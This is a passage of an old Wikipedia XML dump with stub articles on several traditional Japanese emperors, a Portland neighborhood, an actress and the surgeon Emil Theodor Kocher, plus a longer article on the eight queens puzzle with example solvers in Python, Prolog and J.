[[Category:Japanese emperors|Seinei]]

[[de:Seinei]]
[[ja:清寧天皇]]
[[zh:清寧天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Kenzo</title>
    <id>10463</id>
    <revision>
      <id>31354753</id>
      <timestamp>2005-12-14T18:31:49Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Kenzō''' (顕宗天皇 ''Kenzō Tennō'') was the 23rd [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the late [[5th century]] CE.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Seinei]] | after=[[Emperor Ninken]] | years=485-487&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century births|Kenzo]]
[[Category:5th century deaths|Kenzo]]
[[Category:Japanese emperors|Kenzo]]

[[de:Kenzo (Kaiser)]]
[[it:Kenzo imperatore del Giappone]]
[[ja:&amp;#38997;&amp;#23447;&amp;#22825;&amp;#30343;]]
[[zh:顯宗天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Ninken</title>
    <id>10464</id>
    <revision>
      <id>31354874</id>
      <timestamp>2005-12-14T18:32:48Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Ninken''' (仁賢天皇 ''Ninken Tennō'') (-c.[[489]]) was the 24th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the late [[5th century]] CE.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Kenzo|Emperor Kenzō]] | after=[[Emperor Buretsu]] | years=488-498&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century births|Ninken]]
[[Category:5th century deaths|Ninken]]
[[Category:Japanese emperors|Ninken]]

[[de:Ninken]]
[[it:Ninken imperatore del Giappone]]
[[ja:&amp;#20161;&amp;#36066;&amp;#22825;&amp;#30343;]]
[[zh:仁賢天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Buretsu</title>
    <id>10465</id>
    <revision>
      <id>38954095</id>
      <timestamp>2006-02-09T19:27:34Z</timestamp>
      <contributor>
        <ip>83.208.12.17</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Buretsu''' (武烈天皇 ''Buretsu Tennō'') (c.[[489]]-[[507]]) was the 25th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He is a son of [[Emperor Ninken]] and his mother is ''Kasuga no Ōiratsume no Kōgō'' (春日大郎皇后). His name was Ohatsuse no Wakasazaki no Mikoto(小泊瀬稚鷦鷯尊).

No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the late [[5th century]] CE. According to various records including ''[[Kojiki]]'' and ''[[Nihonshoki]]'', he was born on [[489]] and died on [[January 7]], [[507]] and is believed to have ruled from [[498]] to [[507]].

He is described as a strongly wicked emperor in ''Nihonshoki'' likened to [[Di Xin]] of the [[Shang Dynasty]] but the record in ''Kojiki'' has no such indication. There are several theories on this difference. Some believe that this was to justify and praise his successor [[Emperor Keitai]] who took over under questionable circumstances. In history textbooks available before and during [[World War II]], part of Buretsu's record was intentionally omitted.

If Emperor Keitai began a new dynasty as some historians believe, then Buretsu is the last emperor of the first recorded dynasty of Japan.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Ninken]] | after=[[Emperor Keitai]] | years=498-506&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:489 births|Buretsu]]
[[Category:507 deaths|Buretsu]]
[[Category:Japanese emperors|Buretsu]]

[[cs:Burecu]]
[[de:Buretsu]]
[[it:Buretsu imperatore del Giappone]]
[[ja:&amp;#27494;&amp;#28872;&amp;#22825;&amp;#30343;]]
[[zh:&amp;#27494;&amp;#28872;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Keitai</title>
    <id>10466</id>
    <revision>
      <id>41439282</id>
      <timestamp>2006-02-27T08:57:46Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">:''&quot;Keitai&quot; is also the [[Japanese language|Japanese]] term for [[Japanese cell phone culture|mobile/cell phones]].''

'''Emperor Keitai''' (継体天皇 ''Keitai Tennō'') was the 26th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He is believed to have ruled the country during the early [[6th century]] CE.

== Records on his life ==
His record is confusing as there are differences of his life according to [[Kojiki]] and [[Nihonshoki]].

Kojiki puts his birth year at [[485]] and to have died on April 9, [[527]].{{an|Japanese_dates 1}}  It writes that he was called Ōdo no Mikoto(袁本杼命).

On the other hand, Nihonshoki put his birth year at [[450]] and to have died on February 7, [[531]] or [[534]].{{an|Japanse_dates 1}} It writes that he was called Ōdo no Kimi(男大迹王) and Hikofuto no Mikoto(彦太尊).

== Life and genealogy ==
He is said to have been not the son of the immediate previous emperor, but the great-great-great-grandson of [[Emperor Ojin|Emperor Ōjin]]. According to documents he ascended to the throne when [[Emperor Buretsu]] died childless and did not appoint a sucesssor; some historians doubt this genealogy and suppose a change of dynasties.

According to ''Kojiki'' and ''Nihonshoki'', his father was Hikonushi no Kimi and his mother was Furihime. He was born in [[Echizen province]]. When Buretsu died, [[Ōtomo no Kanamura|Kanamura]] recommended Keitai at his age of 58 as a possible heir to the throne. Keitai declared his ascension in Kusuba, in the northern part of [[Kawachi Province]] (present day Shijonawate, Osaka) and married a younger sister of Buretsu, Princess Tashiraga.  It is supposed that his succession was not welcomed by everyone, and it took about 20 years for Keitai to enter [[Yamato province]], near Kawachi and the political center of Japan at the time.

In Emperor Keitai's later years, [[527]] or [[528]], a rebellion led by Iwai occurred in Tsukushi province, [[Kyushu]]. Keitai went to Kyushu and put down the rebellion.

Among his sons, [[Emperor Ankan]], [[Emperor Senka]] and [[Emperor Kimmei]] ascended to the throne.

== Notes ==
#Japanese dates correspond to the traditional [[lunisolar calendar]] used in Japan until 1873.

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Buretsu]] | after=[[Emperor Ankan]] | years=507-531&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:Japanese emperors|Keitai]]

[[de:Keitai]]
[[it:Keitai imperatore del Giappone]]
[[ja:継体天皇]]
[[zh-cn:继体天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Ankan</title>
    <id>10467</id>
    <revision>
      <id>27486334</id>
      <timestamp>2005-11-06T00:09:06Z</timestamp>
      <contributor>
        <ip>144.13.232.245</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Ankan''' (安閑天皇 ''Ankan Tennō'') was the 27th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the early [[6th century]] CE.

According to ''[[Kojiki]]'' Ankan was the elder son of [[Emperor Keitai]]. When Ankan was 66 years old, Keitai abdicated in favor of him. Four years later, he died. No significant events were recorded during his reign.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Keitai]] | after=[[Emperor Senka]] | years=531-536&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:6th century deaths|Ankan]]
[[Category:Japanese emperors|Ankan]]

[[de:Ankan]]
[[it:Ankan imperatore del Giappone]]
[[ja:&amp;#23433;&amp;#38289;&amp;#22825;&amp;#30343;]]
[[zh-cn:&amp;#23433;&amp;#38386;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Senka</title>
    <id>10468</id>
    <revision>
      <id>33959854</id>
      <timestamp>2006-01-05T10:34:07Z</timestamp>
      <contributor>
        <ip>193.165.145.158</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Senka''' (宜化天皇 ''Senka Tennō'') was the 28th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the early [[6th century]] CE.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Ankan]] | after=[[Emperor Kimmei]] | years=536-539&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:6th century births|Senka]]
[[Category:6th century deaths|Senka]]
[[Category:Japanese emperors|Senka]]

[[cs:Senka]]
[[de:Senka]]
[[ja:&amp;#23459;&amp;#21270;&amp;#22825;&amp;#30343;]]
[[zh:宣化天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Empress</title>
    <id>10469</id>
    <revision>
      <id>15908280</id>
      <timestamp>2002-05-27T01:23:48Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>changing into a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[emperor]]</text>
    </revision>
  </page>
  <page>
    <title>Eastmoreland, Portland, Oregon</title>
    <id>10470</id>
    <revision>
      <id>40742680</id>
      <timestamp>2006-02-22T18:50:57Z</timestamp>
      <contributor>
        <username>Derek.cashman</username>
        <id>343214</id>
      </contributor>
      <minor />
      <comment>rm blatant linkspam</comment>
      <text xml:space="preserve">'''Eastmoreland, Portland, Oregon''' is an up-market neighborhood in inner south-east [[Portland, Oregon]], located south of [[Reed College]].  The neighborhood is bounded by SE Woodstock Blvd. to the north, SE Crystal Springs Blvd. to the south, SE 39th Ave to the east and approximately SE 28th Ave to the west.

{{Oregon-geo-stub}}

[[Category:Portland, Oregon neighborhoods]]</text>
    </revision>
  </page>
  <page>
    <title>EMACS</title>
    <id>10471</id>
    <revision>
      <id>15908282</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Emacs]]
</text>
    </revision>
  </page>
  <page>
    <title>Elyssa Davalos</title>
    <id>10472</id>
    <revision>
      <id>37855297</id>
      <timestamp>2006-02-02T15:55:53Z</timestamp>
      <contributor>
        <username>OpenToppedBus</username>
        <id>252600</id>
      </contributor>
      <minor />
      <comment>fmt</comment>
      <text xml:space="preserve">'''Elyssa Davalos''' is a [[television]] and [[film|movie]] actress.  She is the daughter of [[Richard Davalos]], mother of [[Alexa Davalos]], and was married to Jeff Dunas. She is of Greek descent.

== Television ==
* [[MacGyver]], ([[1987]]-[[1988]])
* [[Scarecrow and Mrs. King]], ([[1985]]-[[1986]])

== Movies ==
* [[Urban Chaos Theory]], ([[2000]])
* [[A House in the Hills]], ([[1993]])
* [[Jericho Fever]], ([[1993]]) 
* [[Riviera (movie)|Riviera]], ([[1987]])
* [[Herbie Goes Bananas]],  ([[1980]])
* [[Wild and Wooly]], ([[1978]])

==External links==
* {{imdb name|id=0202497|name=Elyssa Davalos}}

[[Category:American film actors|Davalos, Elyssa]]
[[Category:American television actors|Davalos, Elyssa]]
[[Category:Greek-American actors|Davalos, Elyssa]]

[[fr:Elyssa Davalos]]</text>
    </revision>
  </page>
  <page>
    <title>Emil Theodor Kocher</title>
    <id>10473</id>
    <revision>
      <id>40795606</id>
      <timestamp>2006-02-23T01:49:18Z</timestamp>
      <contributor>
        <username>Brim</username>
        <id>102642</id>
      </contributor>
      <comment>added Kocher manoeuvre</comment>
      <text xml:space="preserve">[[image:Emil_Theodor_Kocher.jpg|right|frame|Emil Theodor Kocher]]
'''Emil Theodor Kocher''' ([[August 25]], [[1841]] &amp;ndash; [[July 27]], [[1917]]), [[Nobel Prize in Physiology or Medicine|Nobel Prize]] winner in [[1909]] for &quot;his work on the physiology, pathology and surgery of the thyroid gland&quot;

Born in [[Bern]]. He studied in Zurich, Berlin, London and Vienna, obtaining his doctorate in Bern in [[1865]]. From [[1872]] he succeeded [[Georg Albert Lucke]] as Ordinary Professor of Surgery and Director of the [[University of Berne|University]] Surgical Clinic at Berne. He published works on a number of subjects other than the thyroid gland including haemostasis, antiseptic treatments, surgical infectious diseases, on gunshot wounds, acute [[osteomyelitis]], the theory of strangulated hernia, and abdominal surgery. His new ideas on the thyroid gland were initially controversial but his successful treatment of [[goitre]] with a steadily decreasing mortality rate soon won him recognition. The prize money for the Nobel helped establish the Kocher Institut in Berne.

A number of instruments and surgical techniques are named after him as well as the [[Kocher-Debre-Semelaigne syndrome]].
:''See also:'' [[Kocher manoeuvre]]

==External links==
*http://crishunt.8bit.co.uk/kocher_theodor.html

[[Category:1841 births|Kocher, Emil Theodor]]
[[Category:1917 deaths|Kocher, Emil Theodor]]
[[Category:Nobel Prize in Physiology or Medicine winners|Kocher, Emil Theodor]]
[[Category:Natives of Bern|Kocher, Emil Theodor]]

[[de:Emil Theodor Kocher]]
[[es:Emil Theodor Kocher]]
[[fr:Emil Theodor Kocher]]
[[id:Theodor Kocher]]
[[pl:Emil Theodor Kocher]]
[[pt:Emil Theodor Kocher]]</text>
    </revision>
  </page>
  <page>
    <title>Eight queens puzzle</title>
    <id>10474</id>
    <revision>
      <id>41176802</id>
      <timestamp>2006-02-25T15:40:29Z</timestamp>
      <contributor>
        <username>Andreas Kaufmann</username>
        <id>72502</id>
      </contributor>
      <minor />
      <comment>/* Related problems */ No reason to have [[Chess problem]] here</comment>
      <text xml:space="preserve">{{Chess diagram|=
| tright
|
|= 

1  |__|__|__|ql|__|__|__|__|=
2  |__|__|__|__|__|__|ql|__|=
3  |__|__|ql|__|__|__|__|__|=
4  |__|__|__|__|__|__|__|ql|=
5  |__|ql|__|__|__|__|__|__|=
6  |__|__|__|__|ql|__|__|__|=
7  |ql|__|__|__|__|__|__|__|=
8  |__|__|__|__|__|ql|__|__|=
|One of the 12 unique solutions
}}

The '''eight queens puzzle''' is the problem of putting eight [[chess]] [[Queen (chess)|queen]]s on an 8&amp;times;8 chessboard such that none of them is able to capture any other using the standard chess queen's moves. The colour of the queens is meaningless in this puzzle, and any queen is assumed to be able to attack any other. Thus, a solution requires that no two queens share the same row, column, or diagonal. The eight queens puzzle is an example of the more general '''''n'' queens puzzle''' of placing ''n'' queens on an ''n''&amp;times;''n'' chessboard.

==History==
The problem was originally proposed in [[1848]] by the chess player [[Max Bezzel]], and over the years, many [[mathematician]]s, including [[Carl Friedrich Gauss|Gauss]] have worked on this puzzle.  In 1874, S. Gunther proposed a method of finding solutions by using [[determinant]]s, and [[J.W.L. Glaisher]] refined this approach.

This puzzle appeared in the popular early [[1990s]] computer game, [[The 7th Guest]].

==Constructing a solution==
There is a simple algorithm yielding a solution to the ''n'' queens puzzle for ''n''&amp;nbsp;=&amp;nbsp;1 or any ''n''&amp;nbsp;&amp;ge;&amp;nbsp;4:

# Divide ''n'' by 12.  Remember the remainder (it's 8 for the eight queens puzzle).
# Write a list of the even numbers from 2 to ''n'' in order.
# If the remainder is 3 or 9, move 2 to the end of the list.
# Write the odd numbers from 1 to ''n'' in order, but, if the remainder is 8, switch pairs (i.e. 3, 1, 7, 5, 11, 9, &amp;hellip;).
# If the remainder is 2, switch the places of 1 and 3, then move 5 to the end of the list.
# If the remainder is 3 or 9, move 1 and 3 to the end of the list.
# Place the first-column queen in the row with the first number in the list, place the second-column queen in the row with the second number in the list, etc.

For ''n''&amp;nbsp;=&amp;nbsp;8 this results in the solution shown above. A few more examples follow.

* 14 queens (remainder 2): 2, 4, 6, 8, 10, 12, 14, 3, 1, 7, 9, 11, 13, 5.
* 15 queens (remainder 3): 4, 6, 8, 10, 12, 14, 2, 5, 7, 9, 11, 13, 15, 1, 3.
* 20 queens (remainder 8): 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 3, 1, 7, 5, 11, 9, 15, 13, 19, 17.

==Counting all solutions==
The eight queens puzzle has 92 '''distinct''' solutions. If solutions that differ only by [[symmetry|symmetry operation]]s (rotations and reflections) of the board are [[up to|counted as one]], the puzzle has 12 '''unique''' solutions. The following table gives the number of solutions for ''n'' queens, both unique {{OEIS|id=A002562}} and distinct {{OEIS|id=A000170}}.

&lt;table cellspacing=&quot;0&quot; rules=&quot;all&quot; frame=&quot;border&quot;&gt;
 &lt;tr align=&quot;right&quot;&gt;
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;''n'':
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;1
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;2
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;3
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;4
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;5
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;6
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;7
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;8
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;9
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;10
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;11
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;12
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;13
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;14
  &lt;td style=&quot;padding-left: 1em; padding-right: 0.5em&quot;&gt;15
 &lt;tr align=&quot;right&quot;&gt;
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;unique:
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;1
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;0
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;0
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;1
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;2
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;1
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;6
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;12
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;46
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;92
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;341
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;1,787
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;9,233
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;45,752
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;285,053
 &lt;tr align=&quot;right&quot;&gt;
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;distinct:
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;1
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;0
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;0
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;2
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;10
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;4
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;40
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;92
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;352
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;724
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;2,680
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;14,200
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;73,712
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;365,596
  &lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em&quot;&gt;2,279,184
&lt;/table&gt;

Note that the 6 queens puzzle has, interestingly, fewer solutions than the 5 queens puzzle!

==Related problems==
; Using pieces other than queens
:For example, on an 8&amp;times;8 board one can place 32 [[knight (chess)|knight]]s, or 14 [[bishop (chess)|bishop]]s, or 16 [[king (chess)|king]]s, so that no two pieces attack each other. [[Fairy chess piece]]s have also been substituted for queens.  In the case of knights, an easy solution is to place one on each square of a given color, since they move only to the opposite color.
; Nonstandard boards
:[[George Pólya|Pólya]] studied the ''n'' queens problem on a [[torus|toroidal]] (&quot;donut-shaped&quot;) board. Other shapes, including three-dimensional boards, have also been studied.
; Domination
:Given an ''n''&amp;times;''n'' board, find the '''domination number''', which is the minimum number of queens (or other pieces) needed to attack or occupy every square. For the 8&amp;times;8 board, the queen's domination number is 5.
; [http://www.chessvariants.org/problems.dir/9queens.html Nine queens problem]
:Place nine queens and one pawn on an 8&amp;times;8 board in such a way that queens don't attack each other. Further generalization of the problem (solution is currently unknown): given an ''n''&amp;times;''n'' chess board and ''m''&amp;nbsp;&gt;&amp;nbsp;''n'' queens, find the minimum number of pawns, so that the ''m'' queens and the pawns can be set up on the board in such a way that no two queens attack each other. 
; [http://www.vector.org.uk/archive/v213/hui213.htm Queens and knights problem]
:Place m queens and m knights on an n by n board such that no piece attacks another.
; [[Magic square]]s
: In 1992, Demirörs, Rafraf, and Tanik published a method for converting some magic squares into ''n'' queens solutions, and vice versa.
; [[Latin square]]s
; [[Exact cover]]
: Consider a matrix with one primary column for each of the ''n'' ranks of the board, one primary column for each of the ''n'' files, and one secondary column for each of the 4''n''-6 nontrivial diagonals of the board.  The matrix has ''n''&lt;sup&gt;2&lt;/sup&gt; rows: one for each possible queen placement, and each row has a 1 in the columns corresponding to that square's rank, file, and diagonals and a 0 in all the other columns.  Then the ''n'' queens problem is equivalent to choosing a subset of the rows of this matrix such that every primary column has a 1 in precisely one of the chosen rows and every secondary column has a 1 in at most one of the chosen rows; this is an example of a generalized [[exact cover]] problem.

==The eight queens puzzle as an exercise in algorithm design==
Finding all solutions to the eight queens puzzle is a good example of a simple but nontrivial problem. For this reason, it is often used as an example problem for various programming techniques, including nontraditional approaches such as [[constraint programming]], [[logic programming]] or [[genetic algorithm]]s. Most often, it is used as an example of a problem which can be solved with a [[recursion|recursive]] [[algorithm]], by phrasing the ''n'' queens problem inductively in terms of adding a single queen to any solution to the ''n''&amp;minus;1 queens problem. The [[mathematical induction|induction]] bottoms out with the solution to the 0 queens problem, which is an empty chessboard.

This technique is much more efficient than the naïve [[brute-force search]] algorithm, which considers all 64&lt;sup&gt;8&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;2&lt;sup&gt;48&lt;/sup&gt;&amp;nbsp;= 281,474,976,710,656 possible blind placements of eight queens, and then filters these to remove all placements that place two queens either on the same square (leaving only 64!/56!&amp;nbsp;= 178,462,987,637,760 possible placements) or in mutually attacking positions. This ''very'' poor algorithm will, amongst other things, produce the same results over and over again in all the different [[permutation]]s of the assignments of the eight queens, as well as repeating the same computations over and over again for the different sub-sets of each solution. A slightly better brute-force algorithm places a single queen on each row, leading to only 8&lt;sup&gt;8&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;2&lt;sup&gt;24&lt;/sup&gt;&amp;nbsp;= 16,777,216 blind placements.

It is possible to do much better than this. For example, the [[breadth-first search]] program below examines only 15,720 possible queen placements by constructing the [[search tree]] by considering one row of the board at a time, eliminating most nonsolution board positions at a very early stage in their construction.

[[Constraint programming]] is even more effective on this problem. An 'iterative repair' algorithm typically starts with all queens on the board, for example with one queen per column. It then counts the number of conflicts (attacks), and uses an heuristic to determine how to improve the placement of the queens.

The 'minimum-conflicts' [[heuristic]]&amp;mdash;moving the piece with the largest number of conflicts to the square in the same column where the number of conflicts is smallest&amp;mdash;is particularly effective: it solves the 1,000,000 queen problem in less than 50 steps on average. This assumes that the initial configuration is 'reasonably good'&amp;mdash;if a million queens all start in the same row, it will obviously take at least 999,999 steps to fix it. A 'reasonably good' starting point can for instance be found by putting each queen in its column such that it conflicts with the smallest number of queens already on the board.

Note that 'iterative repair', unlike the 'breadth-first' search outlined above, does not guarantee a solution: like all hillclimbing procedures, it may get stuck on a local optimum (in which case the algorithm may be restarted with a different initial configuration). On the other hand, it can solve problem sizes that are several orders of magnitude beyond the scope of a breadth-first search.

==A standard recursive solution==

The [[Python programming language|Python]] functions below can generate all solutions for an ''n''-queens problem, using a [[recursive]] [[breadth-first search]] combined with the hard-coded insights that :
* no two pieces can share the same row
* any solution for ''n'' queens on an ''n''&amp;times;''m'' board must contain a solution for ''n''&amp;minus;1 queens on an (''n''&amp;minus;1)&amp;times;''m'' board
* proceeding in this way will always keep the queens in order, and generate each solution only once.

 # Return a list of solutions to the ''n''-queens problem on an
 # ''n''-by-width board.  A solved board is expressed as a list of
 # column positions for queens, indexed by row.  
 # Rows and columns are indexed from zero.
 def n_queens(n, width):
     if n == 0:
         return [[]] # one solution, the empty list
     else:
         return add_queen(n-1, width, n_queens(n-1, width))
 
 # Try all ways of adding a queen to a column of row new_row, returning
 # a list of solutions.  previous_solutions must be a list of new_row-queens
 # solutions.
 def add_queen(new_row, width, previous_solutions):
     solutions = []
     for sol in previous_solutions:
         # Try to place a queen on each column on row new_row.
         for new_col in range(width):
             # print 'trying', new_col, 'on row', new_row
             if safe_queen(new_row, new_col, sol):
                 # No interference, so add this solution to the list.
                 solutions.append(sol + [new_col])
     return solutions
 
 # Is it safe to add a queen to sol at (new_row, new_col)?  Return
 # true if so.  sol must be a solution to the new_row-queens problem.
 def safe_queen(new_row, new_col, sol):
     # Check against each piece on each of the new_row existing rows.
     for row in range(new_row):
         if (sol[row] == new_col or                  # same column clash
             sol[row] + row == new_col + new_row or  # diagonal clash
             sol[row] - row == new_col - new_row):   # other diagonal
                 return 0
     return 1
 
 for sol in n_queens(8, 8):
    print sol

==A constraint logic programming solution==

The [[constraint programming|constraint logic programming]] (over finite domains) approach to this kind of problem is very efficient.  The GNU [[Prolog]] program below resolved a 100 queens problem in less than a tenth of a second.  It finds a [[permutation]] of the first ''n'' [[natural number|natural]]s such that the distance between any two is not the normal distance (for example, 1 is normally three away from 4).  

 /* Generates a list which represents a single solution
    with the specified length and ensures that the list has each value
    from 1 to N once and only once. */
 nqueens(N,Ls) :- length(Ls,N),
                fd_domain(Ls,1,N),
                fd_all_different(Ls),
                constraint_queens(Ls),
                fd_labeling(Ls,[variable_method(random)]).
 
 /* Ensures that all positions are valid */
 constraint_queens([]).
 constraint_queens([X|Xs]) :- noattack(X,Xs,1), constraint_queens(Xs).
 
 /* Ensures that no queens share diagonals */
 noattack(_,[],_).
 noattack(X,[Y|Xs],N) :- X#\=Y+N, X#\=Y-N, T=N+1, noattack(X,Xs,T).

==An iterative solution==

The following [[J programming language|J]] verb 
generates all solutions for an ''n''-queens problem, using an [[iteration|iterative]] approach.

 queens=: 3 : 0 
  z=.i.n,*n=.y.
  for. }.z do.
   b=. -. (i.n) e.&quot;1 ,. z +&quot;1 _ ((-i.){:$z) */ _1 0 1
   z=. ((+/&quot;1 b)#z),.(,b)#(*/$b)$i.n
  end.
 )

A ''k''-arrangement &lt;tt&gt;x&lt;/tt&gt; has ''k'' queens on a ''k''-by-''n'' board where none of
queens attack each other.  To generate all ''k+1''-arrangements leading from &lt;tt&gt;x&lt;/tt&gt;,
place a queen on all the places on row ''k'' which are not on the any of the columns or 
diagonals attacked by the queens in &lt;tt&gt;x&lt;/tt&gt;.  
The ''1''-arrangements are 0, 1, 2, ..., ''n''-1; the ''n''-arrangements are 
all the solutions to the ''n''-queens problem.

For example, 0 2, 0 3, and 0 4 are valid 2-arrangements for the 8-queens problem.  
The 3-arrangements leading from these are:
  
 0 2 4
 0 2 5
 0 2 6
 0 2 7
 0 3 1
 0 3 5
 0 3 6
 0 3 7
 0 4 1
 0 4 6
 0 4 7

==See also==
* [[Functional programming]]
* [[Mathematical game]]
* [[Backtracking]]

==References==
* Watkins, John J. (2004). ''Across the Board: The Mathematics of Chess Problems''. Princeton: Princeton University Press.  ISBN 0-691-11503-6.

==External links==
* [http://mathworld.wolfram.com/QueensProblem.html MathWorld article]
* [http://bridges.canterbury.ac.nz/features/eight.html Solutions to the 8-Queens Problem]
* [http://www.liacs.nl/home/kosters/nqueens.html Walter Koster's N-Queens Page]
* [http://www.durangobill.com/N_Queens.html Durango Bill's N-Queens Page]
* [http://kti.ms.mff.cuni.cz/~bartak/constraints/index.html On-line Guide to Constraint Programming]

===Links to solutions===
* [http://www.faust.fr.bw.schule.de/mhb/backtrack/achtdamen/eight.htm Find your own solution]
* [http://www.jsomers.com/nqueen_demo/nqueens.html J Somers N-Queen code]
* [http://www.atarimagazines.com/v3n12/Queens8.html Atari BASIC]
* [http://www.dossier-andreas.net/ai/ga.html Genetic algorithms] 
* [http://www.scdi.org/%7eavernet/projects/jaskell/queens/ Haskell/Java hybrid]
* [http://www.math.utah.edu/%7Ealfeld/queens/queens.html Java]
* [http://www.dcs.ed.ac.uk/home/mlj/demos/queens/ Standard ML]
* [http://www.muljadi.org/EightQueens.htm Integer Sequences]
